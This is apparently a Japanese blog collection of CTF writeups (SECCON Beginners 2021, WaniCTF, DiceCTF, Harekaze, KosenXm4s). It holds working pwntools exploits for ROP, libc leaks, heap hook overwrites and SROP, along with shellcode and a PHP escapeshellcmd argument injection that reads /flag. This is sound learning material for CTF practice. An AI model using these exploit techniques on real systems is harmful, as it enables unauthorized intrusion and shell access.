SECCON Beginners CTF 2021 Writeup

目次

成績

etherknotで参加して38位でした。 pwn担当として、beginners_rop, uma_catch, freelessを解きました。

Writeup

pwn/writeup/2021/SECCON_Beginners at main · kisqragi/pwn · GitHub

beginners_rop

よくあるrop問題でした

from pwn import *

elf = ELF("./chall")
context.binary = elf
libc = ELF('./libc-2.27.so')

#s = process('./chall', env={'LD_PRELOAD' : './libc-2.27.so'})
s = remote('beginners-rop.quals.beginners.seccon.jp', 4102)

pop_rdi = 0x00401283
puts_plt = 0x401070
puts_got = 0x404018
main = 0x401196
ret = 0x40101a

offset = 264
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

s.sendline(payload)
s.recvline()
libc_addr = u64((s.recvline()[:-1]).ljust(8, b'\00')) - libc.symbols.puts
print(hex(libc_addr))
libc.address = libc_addr

payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(ret)
payload += p64(libc.symbols['system'])
s.sendline(payload)

s.interactive()

uma_catch

libcのアドレスはshowにFSBがあるので利用して__libc_start_main+231をリークして差分で求めます。
その後はreleaseしたumaに名前がつけられるのでそこを利用します。
nameの位置がfdの位置になるので、fdの位置を__free_hookにして、one_gadgetを書き込みます。
その後releaseしてfreeを呼び出せば終了です。

from pwn import *
elf = ELF("./chall")
context.binary = elf
libc = ELF("./libc-2.27.so")

#s = process('./chall')
s = remote('uma-catch.quals.beginners.seccon.jp', 4101)


def catch(index):
    s.sendlineafter('> ', '1')
    s.sendlineafter('> ', str(index))
    s.sendlineafter('> ', 'bay')

def naming(index, name):
    s.sendlineafter('> ', '2')
    s.sendlineafter('> ', str(index))
    s.sendlineafter('> ', name)

def show(index):
    s.sendlineafter('> ', '3')
    s.sendlineafter('> ', str(index))
    return s.recvline()[:-1]

def release(index):
    s.sendlineafter('> ', '5')
    s.sendlineafter('> ', str(index))

# libc leak
catch(0)
naming(0, '%{}$p'.format(11))
__libc_start_main_ret = int(show(0).strip(), 16) - 231
libc_base = __libc_start_main_ret - libc.symbols.__libc_start_main
print('libcbase:', hex(libc_base))
libc.address = libc_base
print('__free_hook:', hex(libc.symbols.__free_hook))

one_gadget = libc_base + 0x4f432

release(0)
naming(0, p64(libc.symbols.__free_hook))
catch(0)
catch(0)
naming(0, p64(one_gadget))
release(0)

s.interactive()

freeless

House of Orangeの問題でした。
全く理解はしていません...
MalleusCTFをコピペして解きました。
終了後に勉強します。

from pwn import *

elf = ELF('./chall')
libc = ELF('./libc-2.31.so')
context.binary = elf

#s = process('./chall', env={'LD_PRELOAD' : './libc-2.31.so'})
s = remote('freeless.quals.beginners.seccon.jp', 9077)

def new(index, size):
    s.sendlineafter('> ', '1')
    s.sendlineafter('index: ', str(index))
    s.sendlineafter('size: ', str(size))

def edit(index, data):
    s.sendlineafter('> ', '2')
    s.sendlineafter('index: ', str(index))
    s.sendlineafter('data: ', data)

def show(index):
    s.sendlineafter('> ', '3')
    s.sendlineafter('index: ', str(index))
    s.recvuntil('data: ')
    return s.recvline()[:-1]

A = 0 
B = 1
C = 2
D = 3
E = 4
F = 5
G = 6
    
new(A, 0x10)
edit(A, b'a'*0x18+pack(0xd51))
new(B, 0xd30)
new(C, 0xd20)

unsort = u64(show(C).ljust(8, b'\0'))
libc_base = unsort - (0x1ebb80 + 0x60)
libc.address = libc_base
print('libcbase:', hex(libc_base))

edit(B, b'b'*0xd38+pack(0x2c1))
new(D, 0xd30)
edit(D, b'd'*0xd38+pack(0x2c1))
new(E, 0x2a0)

edit(D, b'd'*0xd38+pack(0x2a1)+pack(libc.symbols.__malloc_hook))

new(F, 0x290)
new(G, 0x290)

one_gadget = libc_base + 0xe6c81

edit(G, p64(one_gadget))

new(G+1, 0)

s.interactive()

WaniCTF'21-spring Writeup

https://score.wanictf.org/score.wanictf.org

目次

成績

f:id:kisaragi211:20210503104946p:plain
pwnだけ挑戦して全体では157位でした。
VeryHardが２問解けず悔しい結果となりました。

Writeup

Pwn

netcat

ncでアクセスしてcat flag.txtするだけ。

rop machine easy

# nc rop-easy.pwn.wanictf.org 9003

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this-is-simple-return-oriented-programming}

free hook

__free_hook = system;によってfreeの動作がsystemになっているのでfree("/bin/sh")はsystem("/bin/sh")として動きます。
なので/bin/shをメモしてそれを削除するとシェルが立ち上がります。

# nc free.pwn.wanictf.org 9002
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: /bin/sh



[[[list memos]]]
***** 0 *****
/bin/sh


1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{malloc_hook_is_a_tech_for_heap_exploitation}

rop machine normal

syscallした関数でシェルを立ち上げるみたいなのでexecve("/bin/sh", NULL, NULL);の実行を目指します。
引数は第一引数から,rdi,rsi,rdxとなっているのでそれぞれに値を設定します。
raxは呼びたいシステムコールの番号を設定します。
システムコール番号は

$ grep execve /usr/include/asm/unistd_64.h 
#define __NR_execve 59

か、もしくは

$ sudo apt install -y auditd
$ ausyscall execve
execve             59

で検索できます。
今回は値を16進数で設定するので0x3bを設定します。
もろもろ値が設定できたら最後にsyscallを読んで終わりです。

# nc rop-normal.pwn.wanictf.org 9004

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "pop rsi; ret" addr
4. append "pop rdx; ret" addr
5. append "pop rax; ret" addr
6. append "syscall; ret" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 5
"pop rax; ret" is appended
> 1
hex value?: 0x3b
0x000000000000003b is appended
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"pop rsi; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 4
"pop rdx; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 6
"syscall; ret" is appended
> 0
     rop_arena
+--------------------+
| pop rax; ret       |<- rop start
+--------------------+
| 0x000000000000003b |
+--------------------+
| pop rdi; ret       |
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| syscall; ret       |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{now-you-can-call-any-system-calls-with-syscall}

rop machine hard

やることは rop machine normal と同じ。
しかし、pop rdi などのガジェットは自分でアドレスを求めなければいけない。
rp-lin-x64を使えばそこら辺はok.
pop rsiだけ探してもpop rsi; pop r15; ret;しかなかったのでそれを使った。
execveにセットする/bin/shはグローバル変数として用意されていたのでgdbからアドレスを参照した。
ここは適した別の方法がありそう。

gdb-peda$ x/32xw 0x404078
0x404078 <binsh>: 0x6e69622f  0x0068732f  0x00000000  0x00000000
0x404088:   0x00000000  0x00000000  0x00000000  0x00000000
0x404098:   0x00000000  0x00000000  0x00000000  0x00000000
0x4040a8 <completed>: 0x00000000  0x00000000  Cannot access memory at address 0x4040b0
gdb-peda$ p &binsh
$1 = (<data variable, no debug info> *) 0x404078 <binsh>

必要な値が揃ったらあとはやるだけ。

from pwn import *

#s = process('./pwn05')
s = remote('rop-hard.pwn.wanictf.org', 9005)
elf = ELF('./pwn05')

binsh = 0x404078
syscall = 0x004012b6
pop_rdi = 0x0040128f
pop_rsi_r15 = 0x00401611
pop_rdx = 0x0040129c
pop_rax = 0x004012a9


def append_hex(value):
    s.sendlineafter('> ', '1')
    s.sendlineafter('hex value?: ', hex(value))

def execute():
    s.sendlineafter('> ', '0')
    s.interactive()


append_hex(pop_rdi)
append_hex(binsh)
append_hex(pop_rsi_r15)
append_hex(0)
append_hex(0)
append_hex(pop_rdx)
append_hex(0)
append_hex(pop_rax)
append_hex(59)
append_hex(syscall)

execute()

実行結果

     rop_arena
+--------------------+
| 0x000000000040128f |<- rop start
+--------------------+
| 0x0000000000404078 |
+--------------------+
| 0x0000000000401611 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x000000000040129c |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x00000000004012a9 |
+--------------------+
| 0x000000000000003b |
+--------------------+
| 0x00000000004012b6 |
+--------------------+
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{y0ur-next-step-is-to-use-pwntools}

SuperROP

SigReturn Oriented Programming, 通称SROPという解き方みたいです。

inaz2.hatenablog.com

こちらの記事を参考に解きました。
rspの位置がuc_flagsとなるので、必要なレジスタに値を設定して、それ以外にはダミーを設定することで任意のシステムコールが呼べるらしいです。
注意点としてはcsには0x33, ダミーは&fpstateまで設定しないと動きません。
あとこの問題に関してはsigreturnを呼ぶまでにpush命令が走り、思っているrspの位置とズレが生じるのでそこは適宜レジスタの値を確認しながら進める必要がありそうです。
まあ理解できればあとは簡単で、execve("/bin/sh", NULL, NULL)を呼び出せば良いです。

from pwn import *

#s = process('./pwn06')
s = remote('srop.pwn.wanictf.org', 9006)
elf = ELF('./pwn06')

rsp = int(s.recv(4096).decode('utf-8').split()[2], 16)
print(hex(rsp))

payload = b'/bin/sh\0'
payload += b'A' * (72 - len(payload) - 8)
payload += p64(0x401176) # call_syscall
payload += p64(0x401184) # set_rax

# push rbp                  # uc_flags
payload += p64(0)           # &uc_link
payload += p64(0)           # &ss_sp
payload += p64(0)           # ss_flags
payload += p64(0)           # ss_size
payload += p64(0) * 8       # r8-r15
payload += p64(rsp)         # rdi
payload += p64(0)           # rsi
payload += p64(rsp)         # rbp
payload += p64(0)           # rbx
payload += p64(0)           # rdx
payload += p64(59)          # rax
payload += p64(0)           # rcx
payload += p64(rsp)         # rsp
payload += p64(0x401176)    # rip
payload += p64(0)           # eflags
payload += p64(0x33)        # cs/gs/fs/ss
payload += p64(0) * 5       # err,trapno,oldmask,cr2,&fpstate

s.sendline(payload)
s.interactive()

DiceCTF 2021 Writeup

CTF

ctf.dicega.ng

目次

成績

etherknotで参加してpwnを1問だけ解きました。
チーム成績は114位でした。（チームメンバーすごい）
f:id:kisaragi211:20210208125423p:plain

Writeup

Pwn

babyrop

mainを覗くと簡単なBOFであることがわかります。
canaryも確認するとoffでした。

0000000000401136 <main>:
  401136:       55                      push   rbp
  401137:       48 89 e5                mov    rbp,rsp
  40113a:       48 83 ec 40             sub    rsp,0x40
  40113e:       ba 0b 00 00 00          mov    edx,0xb
  401143:       48 8d 35 ba 0e 00 00    lea    rsi,[rip+0xeba]        # 402004 <_IO_stdin_used+0x4>
  40114a:       bf 01 00 00 00          mov    edi,0x1
  40114f:       e8 dc fe ff ff          call   401030 <write@plt>
  401154:       48 8d 45 c0             lea    rax,[rbp-0x40]
  401158:       48 89 c7                mov    rdi,rax
  40115b:       b8 00 00 00 00          mov    eax,0x0
  401160:       e8 db fe ff ff          call   401040 <gets@plt>
  401165:       b8 00 00 00 00          mov    eax,0x0
  40116a:       c9                      leave
  40116b:       c3                      ret
  40116c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]

ということでbofさせるわけですが、第三引数がうまく設定できなかったのでチームメンバーに質問したところ__libc_csu_initというのが使えるという情報をいただきました。
参考はこちらです。

x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる - ももいろテクノロジー

r15に呼び出したい関数、rbxを0にすると好きな関数が呼び出せるみたいです。
またr12,r13,r14がそれぞれ引数になって引数が3つまでの関数が好きに呼べるみたいです。
あとrbp==rbx+1にする必要があるのでそこが注意が必要です。
それらを利用してwriteのGOTをセットしてwrite関数でlibcの位置を特定します。

そこからlibc内のオフセットを求めるわけなのですが、今回はlibcの配布がなかったので分からんやん！と思っていたら以下のようなサイトがあるみたいです。

libc database search

リークしたアドレスの下三桁とSymbolを入力するとlibcを特定してくれるみたいです。
またそれに対応するlibcのダウンロードもできるようです(便利すぎ)

このサイトで調べるとglibc2.31なのがわかりました。
あとは writeのアドレス-writeのオフセット をするとlibcのアドレス位置がわかるので好きな関数が呼び出せます。
ということでsolverです。

from pwn import *

binary = './babyrop'
elf = ELF(binary)
rop = ROP(elf)
context.binary = binary

p = remote('dicec.tf', 31924)

ret = 0x40101a
write_plt = 0x401030
write_got = 0x404018
gets_plt  = 0x401040
pop_rdi = 0x004011d3        # 0x004011d3: pop rdi ; ret  ;  (1 found)
pop_rsi_r15 = 0x004011d1    # 0x004011d1: pop rsi ; pop r15 ; ret  ;  (1 found)
pop_r14_r15 = 0x004011d0    # 0x004011d0: pop r14 ; pop r15 ; ret  ;  (1 found)
call_write = 0x40114f
main = 0x401136
mov_rdx_r14 = 0x4011b0      # __libc_csu_init
dummy = 0

payload  = b'A' * 72
payload += p64(0x4011ca)
payload += p64(0)
payload += p64(1)
payload += p64(1)
payload += p64(write_got)
payload += p64(6)
payload += p64(write_got)
payload += p64(0x4011b0)

payload += p64(dummy)
payload += p64(dummy)
payload += p64(dummy)
payload += p64(dummy)
payload += p64(dummy)
payload += p64(dummy)
payload += p64(dummy)
payload += p64(main)

p.sendlineafter('Your name: ', payload)
write_addr = u64(p.recv(6)[:6].ljust(8, b'\0'))
print(hex(write_addr))

libc_addr = write_addr - 0x1111d0
system_addr = libc_addr + 0x055410
binsh = libc_addr + 0x1b75aa

payload  = b'A' * 72
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system_addr)
p.sendlineafter('Your name: ', payload)

p.interactive()

Harekaze mini CTF 2020 writeup

CTF

https://ctf.harekaze.com/ctf.harekaze.com

github.com

目次

成績

etherknotとして出場しました。
私はWebとPwnのwarmupを解きました。

f:id:kisaragi211:20201228002703p:plain

Writeup

Pwn

Shellcode

shellcode.c

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

char binsh[] = "/bin/sh";

int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    printf("Present for you! \"/bin/sh\" is at %p\n", binsh);
    puts("Execute execve(\"/bin/sh\", NULL, NULL)");

    char *code = mmap(NULL, 0x1000, PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    // Clear rsp and rbp
    memcpy(code, "\x48\x31\xe4\x48\x31\xed", 6);
    read(0, code + 6, 0x100);
    mprotect(code, 0x1000, PROT_READ | PROT_EXEC);

    ((void (*)())(code))();

    return 0;
}

関数ポインタがあったり、mmapされた領域がPROT_EXECになっていたりするので題名通りshellcodeを入力して呼出させれば良さそう。
ただ呼び出し時はrspとrbpが0になるみたいなので注意が必要(?)
私はいきなりshellcodeをバイナリで書くことはできいのでアセンブリを書きました。

/bin/shの場所は接続すると表示してくれるのでそこを指定します。

$ nc 20.48.83.165 20005
Present for you! "/bin/sh" is at 0x404060
Execute execve("/bin/sh", NULL, NULL)

shellcode.s

.globl _shell

_shell:
mov rdi, 0x404060
mov rsi, 0
mov rdx, 0
mov rax, 59
syscall

これをコンパイルしてobjdumpで表示してコピーして体裁を整えます。
この辺りはもう少し良い方法がありそうなので他のwriteupをチェックしようと思います。

$ gcc -c shellcode.s
$ objdump -d -M intel shellcode.o

shellcode.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_shell>:
   0:   48 c7 c7 60 40 40 00    mov    rdi,0x404060
   7:   48 c7 c6 00 00 00 00    mov    rsi,0x0
   e:   48 c7 c2 00 00 00 00    mov    rdx,0x0
  15:   48 c7 c0 3b 00 00 00    mov    rax,0x3b
  1c:   0f 05                   syscall

これを送信するコードを書きます。 solve.py

from pwn import *

context.binary = './shellcode'
p = remote('20.48.83.165', 20005)

data = p.recvuntil('Execute execve("/bin/sh", NULL, NULL)')
binsh = data.split()[6]
log.warn(binsh)
shellcode = '\x48\xc7\xc7\x60\x40\x40\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05'
p.sendline(shellcode)

p.interactive()

flagは/home/shellcode/flagにあるので表示させます。

$ python3 solve.py
[*] '/home/vagrant/work/ctf/HarekazeminiCTF/pwn/Shellcode/distfiles/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 20.48.83.165 on port 20005: Done
[!] 0x404060
[*] Switching to interactive mode

$ cat /home/shellcode/flag
HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}

Web

What time is it now?

index.php

<?php
if (isset($_GET['source'])) {
  highlight_file(__FILE__);
  exit;
}

$format = isset($_REQUEST['format']) ? (string)$_REQUEST['format'] : '%H:%M:%S';
$result = shell_exec("date '+" . escapeshellcmd($format) . "' 2>&1");
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>What time is it now?</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">
  </head>
  <body>
   <header>
      <nav class="navbar navbar-expand-lg navbar-dark bg-dark">
        <div class="container">
          <a class="navbar-brand" href="index.php">What time is it now?</a>
          <div class="navbar-collapse">
            <ul class="navbar-nav mr-auto">
              <li class="nav-item"><a class="nav-link" href="?source">Source Code</a></li>
            </ul>
          </div>
        </div>
      </nav>
    </header>
    <main>
      <section class="jumbotron text-center">
        <div class="container">
          <h1 class="jumbotron-heading"><span class="text-muted">It's</span> <?= isset($result) ? $result : '?' ?><span class="text-muted">.</span></h1>
          <p>
            <a href="?format=%H:%M:%S" class="btn btn-outline-secondary">What time is it now?</a>
            <a href="?format=%Y-%m-%d" class="btn btn-outline-secondary">What is the date today?</a>
            <a href="?format=%s" class="btn btn-outline-secondary">What time is it now in UNIX time?</a>
          </p>
        </div>
      </section>
    </main>
    <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script>
  </body>
</html>

Dockerfile

FROM php:7.4-apache

ADD public/index.php /var/www/html/

RUN chmod -R 755 /var/www
RUN chown root:root /var/www

RUN echo "HarekazeCTF{<censored>}" > "/flag"
RUN chmod -R 755 /flag*

ソースを見てみるといかにもshell_execとescapeshellcmdが怪しそうです。
なので少しescapeshellcmdについて調べると関数の脆弱性に関する記事がいくつか出てきました。

PHPのescapeshellcmdの危険性 | 徳丸浩の日記

OSコマンドのエスケープ – yohgaki's blog

escapeshellcmdは'や"が対になっていない場合しかエスケープしないみたいです。
その特性を使って攻撃します。

dateコマンドのオプションを調べると-f --fileというオプションがあることがわかりました。
これを使うと

$ date -f flag.txt
date: invalid date ‘flag{hoge}’

dateコマンドで使えない形式のものは上記のようにエラー出力として表示されるみたいです。
さらに都合の良いことにindex.phpをみるとstderrがstdoutにリダイレクトされています。
http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/what-time-is-it-now/?format=%s%27+-f+%27/flagでアクセスします。
内部的にはdate '+%s'+-f+'/flag' 2>&1が組み立てられます。
結果。

f:id:kisaragi211:20201228002718p:plain

最初配布ファイルに気づかずflagの位置や名前が分からないから無理だ、となっていましたがリーダーからDockerfileの存在を知らされ無事解決しました。
チームって良いですね。

KosenXm4sCTF writeup

CTF

xm4s.net

GitHub - KosenXmasCTF/problems: 問題一覧のリポジトリです

目次

成績

f:id:kisaragi211:20201227234230p:plain

Writeup

Pwn

match_flag

main.c

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>

int main() {
    // set up for CTF
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);

    FILE *fp = fopen("./flag.txt", "r");
    if(fp == NULL) {
        puts("flag.txt not found!");
        exit(0);
    }
    char flag[0x100];
    fgets(flag, 0x100, fp);

    char input[0x100];
    fgets(input, 0x100, stdin);
    int len = strlen(input) - 1;

    if(strncmp(flag, input, len) == 0) {
        puts("Correct!!!");
    } else {
        puts("Incorrect...");
    }
}

入力した文字数だけflagと比較してくれるので総当たりするだけ。 solve.py

from pwn import *

pattern = ' abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!"#$%&\'()*+,-./:;<=>?@[\\]^`|}'

s = 'xm4s{'

f = True
while f:
    for c in pattern:
        p = remote('27.133.155.191', 30009)
        p.sendline(s+c)
        ret = p.recvline()
        log.warn(s)
        if 'Correct' in str(ret):
            s += c
            log.warn('flag : ' + s)
            if c == '}':
                f = False
            break
    else:
        f = False

$ python3 solve.py
[!] flag : xm4s{you got flag finaly hahaha}

本番では英数字・記号全部含めてもヒットしなかったので焦りましたが、flagにはスペースを使っているようです。

beginners_shell

main.c

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>

int main() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);

  char program[0x1000];

  puts("Enter your program!");
  fgets(program, 0x1000, stdin);

  FILE *fp = fopen("/tmp/program.c", "w");
  fprintf(fp, "%s", program);
  fclose(fp);

  system("rm /tmp/program");
  system("gcc /tmp/program.c -o /tmp/program");
  system("/tmp/program");
  system("rm /tmp/program");
}

入力したCのプログラムをそのまま実行してくれるらしい。

$ nc 153.125.225.197 30002
Enter your program!
int main() { system("/bin/sh"); }

...

cat flag.txt
xm4s{Yes!!To_get_SHELL_is_goal}

dead_or_alive

main.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>

char* get_secret_password() {
    char password[0x1000]; // I can get very very long password!!

    FILE *fp = fopen("./password.txt", "r");
    if(fp == NULL) {
        puts("password.txt not found.");
        exit(0);
    }
    fgets(password, 0x1000, fp);
    char* ret = password;

    return ret;
}

void login(char *password) {
    char input[512];
    printf("Input your password:");
    fgets(input, 512, stdin);

    if(strcmp(input, password) == 0) {
        puts("You logged in!");
        system("/bin/sh");
    }
}

void hello() {
    char name[0x1000];

    puts("Tell me your name!");
    fgets(name, 0x1000, stdin);

    printf("Hello %s\n", name);
}

int menu() {
    int ret;

    printf(
            "0: Hello\n"
            "1: Login\n"
            );

    scanf("%d%*c", &ret);

    return ret;
}

int main() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);

    char* pass = get_secret_password();
    while(1) {
        int option = menu();
        if(option == 0) {
            hello();
        } else if(option == 1) {
            login(pass);
        }
    }
}

hello()とget_secret_password()が確保する領域が同じになるので,hello()で入力した名前がそのままpasswordに変わる。 なのでhello()とlogin()で同じ文字列を入力するだけ

$ nc 153.125.225.197 30005
0: Hello
1: Login
0
Tell me your name!
a
Hello a

0: Hello
1: Login
1
Input your password:a
You logged in!
cat flag.txt
xm4s{welc0me_t0_undergr0und}

write_where_what

main.c

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>

void call_me_to_win() {
    system("/bin/sh");
}

int main() {
    // set up for CTF
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);


    printf("call_me_to_win at %p\n", call_me_to_win);

    unsigned long value = 1; // I like unsigned long value!
    printf("%lx\n", &value);

    size_t where, what;

    printf("where:");
    scanf("%lx", &where);
    printf("what:");
    scanf("%lx", &what);

    *(size_t*)where = what; // where に what を書き込む
}

2番目に表示されたvalueのアドレス+40(0x28)をwhereに入力し、whatにcall_me_to_winのアドレスを入力する。

$ nc 153.125.225.197 30003
call_me_to_win at 0x401e15
7ffcc4619b50
where:0x7ffcc4619b78
what:0x401e15
cat flag.txt
xm4s{i_can_rewrite_memory...}

Rev

strings_binary

$ strings binary_strings | grep xm4s
xm4s{strings_binary_is_simple_and_powerful!}

countdown

binaryをアセンブルすると

   0x0000000000401a62 <+4>:    sub    rsp,0x30
   0x0000000000401a66 <+8>:   lea    rdi,[rip+0x5af]        ## 0x40201c
   0x0000000000401a6d <+15>:  call   0x401030 <puts@plt>
   0x0000000000401a72 <+20>:  mov    eax,0x0
   0x0000000000401a77 <+25>:  call   0x4018c8 <wait>
   0x0000000000401a7c <+30>:  call   0x401172 <generate_flag>
   0x0000000000401a81 <+35>:  lea    rdi,[rip+0x5a8]        # 0x402030
   0x0000000000401a88 <+42>:  call   0x401030 <puts@plt>
   0x0000000000401a8d <+47>:  lea    rdi,[rip+0x5c0]        # 0x402054
   0x0000000000401a94 <+54>:  mov    eax,0x0
   0x0000000000401a99 <+59>:  call   0x401040 <printf@plt>

generate_flagに飛べばflagが出そうということがわかったのでset $rip=0x401a7cしてgenerate_flagで飛ぶ。 実行はgdbで行った。 実行を進めると

[----------------------------------registers-----------------------------------]
RAX: 0x23 ('#')
RBX: 0x0
RCX: 0x7d ('}')
RDX: 0x404080 ("xm4s{kotoshimo_mou_nennmatsu_desune}")
RSI: 0x20 (' ')
RDI: 0x402030 ("Happy new year! We check your flag!")
RBP: 0x7fffffffe9c0 --> 0x401ae0 (<__libc_csu_init>:   push   r15)
RSP: 0x7fffffffe9c0 --> 0x401ae0 (<__libc_csu_init>:   push   r15)
RIP: 0x401a88 (<main+42>: call   0x401030 <puts@plt>)
R8 : 0x7ffff7dced80 --> 0x0
R9 : 0x7ffff7dced80 --> 0x0
R10: 0x0
R11: 0x0
R12: 0x401090 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffeaa0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401a77 <main+25>:    call   0x4018c8 <wait>
   0x401a7c <main+30>:    call   0x401172 <generate_flag>
   0x401a81 <main+35>:    lea    rdi,[rip+0x5a8]        # 0x402030
=> 0x401a88 <main+42>: call   0x401030 <puts@plt>
   0x401a8d <main+47>:    lea    rdi,[rip+0x5c0]        # 0x402054
   0x401a94 <main+54>:    mov    eax,0x0
   0x401a99 <main+59>:    call   0x401040 <printf@plt>
   0x401a9e <main+64>:    lea    rax,[rbp-0x30]

rdxにflagがセットされている。

first_asm

first_asm.c

/*
gcc -O0 -o binary binary.c check_flag.s
*/

#include <stdio.h>
#include <stdbool.h>

extern bool check_flag(char* input);

int main(void) {
    char input[33];
    printf("+------------+\n");
    printf("|FLAG CHECKER|\n");
    printf("+------------+\n");
    printf("Input: ");
    scanf("%32s%*c", input);
    if (check_flag(input)) {
        printf("Correct!\n");
    } else {
        printf("Wrong...\n");
    }
}

check_flag.s

.intel_syntax noprefix
.globl check_flag, key, answer

/*
mov a, b
    a = b

add a, b
    a = a + b

xor a, b
    a = a ^ b

lea a, b
    a = &b

SIZE PTR [a]
    aからSIZE分読みこむ
    QWORD: 8byte
    DWORD: 4byte
    WORD: 2byte
    BYTE: 1bytes

jmp label
    goto label

cmp a, b
j** label
    jne: if (a != b) goto label
    jle: if (a <= b) goto label

rax, rbx, cl, dl
    レジスタ。一時変数だと思っても問題ないが、このアーキテクチャではいくつか変数には役割がある
    rdi: 第一引数
    rax: 返り値
    rbp: スタックの一番下を指すポインタ
    その他rspなどにも役割は存在するが、今回は関係ないので割愛する。

スタック:
    ローカル変数に割り当てられるメモリのこと。
    +------+
    + 0x14 +
    +------+ <= rbp - 4
    + 0x13 +
    +------+ <= rbp - 3
    + 0x12 +
    +------+ <= rbp - 2
    + 0x11 +
    +------+ <= rbp - 1
    + 0x10 +
    +------+ <= rbp
    BYTE PTR [rbp - 4]は 0x13、
    DWORD PTR [rbp - 4]は 0x10111213　に当たる。
*/

# Let's reversing!

key:
    .string ";,Z,.(7TWT2$jAU2#YLZ!QE^,(D h;H\t"

answer:
    .string "CAn_U_Re4d_A55emBly?L3t's_tRY_it"

check_flag:
    # 関数の開始処理 (おまじない)
    push rbp
    mov rbp, rsp

    mov QWORD PTR [rbp - 0x8], rdi
    mov QWORD PTR [rbp - 0x10], 0

    .for_start:
        mov rax, QWORD PTR [rbp - 0x8]
        mov rbx, QWORD PTR [rbp - 0x10]
        mov cl, BYTE PTR [rax + rbx]

        lea rax, key
        mov rbx, QWORD PTR [rbp - 0x10]
        mov dl, BYTE PTR [rax + rbx]

        xor cl, dl

        lea rax, answer
        mov rbx, QWORD PTR [rbp - 0x10]
        mov dl, BYTE PTR [rax + rbx]

        cmp cl, dl
        jne .if_false

        .if_true:
            jmp .if_end

        .if_false:
            mov eax, 0
            jmp .function_end

        .if_end:

    .for_end:
    add QWORD PTR [rbp - 0x10], 1
    cmp QWORD PTR [rbp - 0x10], 32
    jle .for_start

    mov eax, 1
    .function_end:

